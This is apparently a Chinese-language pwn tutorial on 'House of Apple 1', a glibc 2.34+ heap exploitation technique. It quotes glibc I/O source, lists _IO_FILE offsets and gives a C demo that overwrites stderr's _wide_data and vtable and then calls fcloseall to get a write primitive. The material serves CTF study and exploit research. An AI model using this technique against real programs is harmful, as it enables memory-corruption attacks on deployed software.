跳转至

House of Apple1

0xff 背景

同样是为了应对glibc2.34及以后的无hook时代

在无hook时代,house of pighouse of kiwihouse of emma中关于IO_FILE结构体的伪造和IO流的攻击都给出了新的思路。但,

  • house of pig除了需要劫持IO_FILE结构体,还需要劫持tcache_perthread_strcut结构体或者可以控制任意地址分配
  • house of kiwi则至少需要修改**三个**地方的值,_IO_helper_jumps+0xA0_IO_helper_jumps+0xA8_IO_file_jumps+0x60处的_IO_file_sync指针
  • house of emma则至少需要修改**两个**地方的值,tls结构体中的point_guard,伪造一个IO_FILE或替换vatable为xxx_cookie_jumps的地址

这就导致如果想要使用这些攻击方式,至少需要**两次写**或者**一次写和一次任意地址读**。但在仅一次任意地址写的时候很难利用了

house of apple便是在仅使用一次largebin attack并限制读写次数的条件下进行**FSOP**利用

0x00 利用条件

  1. 程序从main返回或能调用exit函数
  2. 可以泄露出来heap地址和libc地址
  3. 能够使用一个largebin attack

0x01 原理

综述

当程序从main返回或者执行exit函数的时候,均会调用fcloseall函数,调用链如下:

exit
   └───►fcloseall
           └───►_IO_cleanup
                      └───►_IO_flush_all_lockp
                                     └───►_IO_OVERFLOW

最后会遍历_IO_list_all存放的每一个IO_FILE结构体,如果满足条件,就会调用每个结构体中的vatble->_overflow函数指针指向的函数

使用larginbin attack可以劫持_IO_list_all变量,将其替换为伪造的IO_FILE结构体,而在此时,我们可以继续利用某些IO流函数去修改其它地方的值

struct _IO_FILE_complete
{
  struct _IO_FILE _file;
  __off64_t _offset;
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data; // 劫持此变量
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};

struct _IO_wide_data *_wide_data_IO_FILE中的偏移为0xa0

那么通过伪造_wide_data变量,然后通过某些函数,然后通过如_IO_wstrn_overflow就可以将已知地址空间上的某些值修改

static wint_t
_IO_wstrn_overflow (FILE *fp, wint_t c)
{
  /* When we come to here this means the user supplied buffer is
     filled.  But since we must return the number of characters which
     would have been written in total we must provide a buffer for
     further use.  We can do this by writing on and on in the overflow
     buffer in the _IO_wstrnfile structure.  */
  _IO_wstrnfile *snf = (_IO_wstrnfile *) fp;

  if (fp->_wide_data->_IO_buf_base != snf->overflow_buf)
    {
      _IO_wsetb (fp, snf->overflow_buf,
         snf->overflow_buf + (sizeof (snf->overflow_buf)
                      / sizeof (wchar_t)), 0);

      fp->_wide_data->_IO_write_base = snf->overflow_buf;
      fp->_wide_data->_IO_read_base = snf->overflow_buf;
      fp->_wide_data->_IO_read_ptr = snf->overflow_buf;
      fp->_wide_data->_IO_read_end = (snf->overflow_buf
                      + (sizeof (snf->overflow_buf)
                     / sizeof (wchar_t)));
    }

  fp->_wide_data->_IO_write_ptr = snf->overflow_buf;
  fp->_wide_data->_IO_write_end = snf->overflow_buf;

  /* Since we are not really interested in storing the characters
     which do not fit in the buffer we simply ignore it.  */
  return c;
}
flowchart LR

A[调用 _IO_wstrn_overflow] --> B{缓冲区已满}
B -->|是| C{当前缓冲是否为 overflow_buf?}
B -->|否| Z[返回 c]

C -->|否| D[切换缓冲区到 snf->overflow_buf<br/>更新 read/write 指针]
C -->|是| E[保持 overflow_buf]

D --> E
E --> F[设置 write_ptr == write_end<br/> → 写窗口为 0]
F --> G[忽略实际写入]
G --> Z[返回 c]

此函数将fp强转伟_IO_wstrnfile *指针,然后判断fp->_wide_data->_IO_buf_base!=snf->overflow_buf是否成立;

如果成立,则会对fp->_wide_data_IO_write_base_IO_read_base_IO_read_ptr_IO_read_end赋值为snf->overflow_buf或者与该地址一定范围内偏移的值;

最后对fp->_wide_data_IO_write_ptr_IO_write_end赋值

总结来说,只要控制了fp->_wide_data,就可以控制fp->_wide_data开始一定范围内的内存值,也就是等同于**任意地址写已知地址**

操作

_IO_wstrnfile涉及到的结构体如下

struct _IO_str_fields
{
  _IO_alloc_type _allocate_buffer_unused;
  _IO_free_type _free_buffer_unused;
};

struct _IO_streambuf
{
  FILE _f;
  const struct _IO_jump_t *vtable;
};

typedef struct _IO_strfile_
{
  struct _IO_streambuf _sbf;
  struct _IO_str_fields _s;
} _IO_strfile;

typedef struct
{
  _IO_strfile f;
  /* This is used for the characters which do not fit in the buffer
     provided by the user.  */
  char overflow_buf[64];
} _IO_strnfile;

typedef struct
{
  _IO_strfile f;
  /* This is used for the characters which do not fit in the buffer
     provided by the user.  */
  wchar_t overflow_buf[64]; // overflow_buf在这里
} _IO_wstrnfile;

其中,overflow_buf[64]相对于_IO_FILE结构体的偏移为0xf0,在vtable后面

struct _IO_wide_data结构体如下:

struct _IO_wide_data
{
  wchar_t *_IO_read_ptr;    /* Current read pointer */
  wchar_t *_IO_read_end;    /* End of get area. */
  wchar_t *_IO_read_base;   /* Start of putback+get area. */
  wchar_t *_IO_write_base;  /* Start of put area. */
  wchar_t *_IO_write_ptr;   /* Current put pointer. */
  wchar_t *_IO_write_end;   /* End of put area. */
  wchar_t *_IO_buf_base;    /* Start of reserve area. */
  wchar_t *_IO_buf_end;     /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  wchar_t *_IO_save_base;   /* Pointer to start of non-current get area. */
  wchar_t *_IO_backup_base; /* Pointer to first valid character of
                   backup area */
  wchar_t *_IO_save_end;    /* Pointer to end of non-current get area. */

  __mbstate_t _IO_state;
  __mbstate_t _IO_last_state;
  struct _IO_codecvt _codecvt;
  wchar_t _shortbuf[1];
  const struct _IO_jump_t *_wide_vtable;
};

总而言之,如果在堆上伪造一个_IO_FILE结构体并已知其为地址A,将A+0xd8替换为_IO_wstrn_jumps地址,将A+0xc0设置为B,并设置其它成员以便能调用到_IO_overflow.exit函数则会一路调用到`_IO_wstrn_overflow函数,并将BB+0x38的地址区域的内容都替换为A+0xf0或者A+0x1f0


好的,以上基本都是提出house of apple的大师傅的说法,这边长话短说,做一个梳理.

以下为struct _IO_FILE结构体内部各结构体的偏移(amd64):

0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'

那么顺序如下:

  1. 目前已知某IO_FILE结构体的地址为A,将A+0xd8替换为_IO_wstrn_jump<=>将本IO_FILE结构体的虚表切换为_IO_wstrn_jump函数;从而切换到_IO_wstrn_ *系列函数

可以修改_IO_wstrn_jumps结构体中的函数指针指向_IO_wstrn_overflow

static wint_t
_IO_wstrn_overflow (FILE *fp, wint_t c)
{
  _IO_wstrnfile *snf = (_IO_wstrnfile *) fp;

  if (fp->_wide_data->_IO_buf_base != snf->overflow_buf)
    {
      _IO_wsetb (fp, snf->overflow_buf,
         snf->overflow_buf + (sizeof (snf->overflow_buf)
                      / sizeof (wchar_t)), 0);

      fp->_wide_data->_IO_write_base = snf->overflow_buf;
      fp->_wide_data->_IO_read_base = snf->overflow_buf;
      fp->_wide_data->_IO_read_ptr = snf->overflow_buf;
      fp->_wide_data->_IO_read_end = (snf->overflow_buf
                      + (sizeof (snf->overflow_buf)
                     / sizeof (wchar_t)));
    }

  fp->_wide_data->_IO_write_ptr = snf->overflow_buf;
  fp->_wide_data->_IO_write_end = snf->overflow_buf;
  return c;
}
  1. 这段代码中没有关于fp->_wide_data的合法检查。也就是如果可以控制fp->_wide_data,就可以让snf->overflow_buf这个地址写入到fp->_wide_data->_IO_write_base上;也即将snf->overflow_buf写到了fp->_wide_data+0x20

demo

不同的glibc版本偏移略有不同,可以自行尝试

#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include<string.h>
void init() {
    setbuf(stdout, 0);
    setbuf(stdin, 0);
    setvbuf(stderr, 0, 2, 0);
}

int main() {
    init();
    puts("[+] allocate a 0x100 chunk");
    size_t *p1 = malloc(0xf0);
    size_t *tmp = p1;
    size_t old_value = 0x114514;
    for (size_t i = 0; i < 0x100 / 8; i++) {
        p1[i] = old_value;
    }
    puts("【old value】");
    for (size_t i = 0; i < 4; i++) {
        printf("【-】[%p]: 0x%016lx  0x%016lx\n", tmp, tmp[0], tmp[1]);
        tmp += 2;
    }
    puts("");
    size_t puts_addr = (size_t)&puts;
    printf("【-】 puts address: %p\n", (void *)puts_addr);
    size_t stderr_write_ptr_addr = puts_addr + 0x1997b8 + 0x10c0;
    printf("【-】 stderr->_IO_write_ptr address: %p\n", (void*)stderr_write_ptr_addr);
    size_t stderr_flags2_addr = puts_addr + 0x199804 + 0x10c0;
    printf("【-】 stderr->_flags2 address: %p\n", (void *)stderr_flags2_addr);
    size_t stderr_wide_data_addr = puts_addr + 0x199830 + 0x10c0;
    printf("【-】 stderr->_wide_data address: %p\n", (void *)stderr_wide_data_addr);
    size_t sdterr_vtable_addr = puts_addr + 0x199868 + 0x10c0;
    printf("【-】 stderr->vtable address: %p\n", (void *)sdterr_vtable_addr);
    size_t _IO_wstrn_jumps_addr = puts_addr + 0x194f70;
    printf("【-】 _IO_wstrn_jumps address: %p\n", (void *)_IO_wstrn_jumps_addr);
    puts("");
    puts("[+] change stderr->_IO_write_pte to -1");
    *(size_t *)stderr_write_ptr_addr = (size_t)-1;
    puts("[+] change stderr->_flags2 to 8");
    *(size_t *)stderr_flags2_addr = 8;
    puts("[+] replace stderr->_wide_data with the allocated chunk");
    *(size_t *)stderr_wide_data_addr = (size_t)p1;
    puts("[+] replace stderr->vtable with _IO_wstrn_jumps");
    *(size_t *)sdterr_vtable_addr = (size_t)_IO_wstrn_jumps_addr;
    puts("[+] call fcloseall and trigger house of apple");
    fcloseall();
    tmp = p1;
    puts("【new value】");
    for (size_t i = 0; i < 4; i++) {
        printf("【-】[%p]: 0x%016lx  0x%016lx\n", tmp, tmp[0], tmp[1]);
        tmp += 2;
    }
    return 0;
}

0x02总结

house of apple是一种针对_wide_data的攻击手法,本方法通过劫持_wide_data成员并在仅一次的largebin attack的条件下实现FSOP的利用

不过house of apple1并不能直接获取shell,通常情况下是只能向几个地址里写入一个堆地址。可以用来修改global_max_fast全局变量(有点像ub attack)

例题分析

参考文章

https://bbs.kanxue.com/thread-273418.htm#msg_header_h1_0

https://zikh26.github.io/posts/19609dd.html

https://blog.csdn.net/qq_54218833/article/details/128624427?spm=1001.2014.3001.5502

评论

评论